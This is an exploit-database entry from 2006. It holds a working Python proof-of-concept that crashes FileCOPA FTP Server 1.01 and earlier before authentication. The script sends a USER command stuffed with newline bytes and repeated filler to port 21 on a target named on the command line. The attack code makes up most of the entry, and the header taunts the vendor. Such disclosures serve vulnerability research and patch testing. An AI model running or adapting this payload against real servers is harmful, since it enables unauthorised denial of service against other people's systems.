FileCOPA FTP Server <= 1.01 (USER) Remote Pre-Auth DoS

2006-05-05T00:00:00
ID 1337DAY-ID-6140
Type zdt
Reporter Bigeazer
Modified 2006-05-05T00:00:00

Description

Exploit for unknown platform in category dos / poc

                                        
                                            ======================================================
FileCOPA FTP Server <= 1.01 (USER) Remote Pre-Auth DoS
======================================================




### FILECOPA DOS
### www.filecopa.com
### Found Jan 19 2006, Tested again on the new release 6 April 2006
### BY Bigeazer 
### http://blacksecurity.org

### They are selling this software for $39.95...
### oh well.. maybe they shoud fix it first?

#
# It appears that FileCopa does not handle alot of new line char
# in the USER login.  This is in the filecpnt.exe file.
# 
# This is only a DOS, that kills the ftp process


import sys,os,string
import socket
import struct
import time

print "-------------------------------"
print "- FileCopa DOS"
print "- Found by: bigeazer"
print "- Should have crashed FileCopa"
print "-------------------------------"

buffer = "\x0a" * 248 + struct.pack('<L',0xdeadbeef)  * 960 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
	conn = s.connect((sys.argv[1],21))
except:
	print "- Unable to connect. exiting."
	sys.exit(1)

d = s.recv(1024)
time.sleep(1)
s.send('USER %s\r\n' % buffer)
time.sleep(1)
sys.exit(0)



#  0day.today [2018-03-05]  #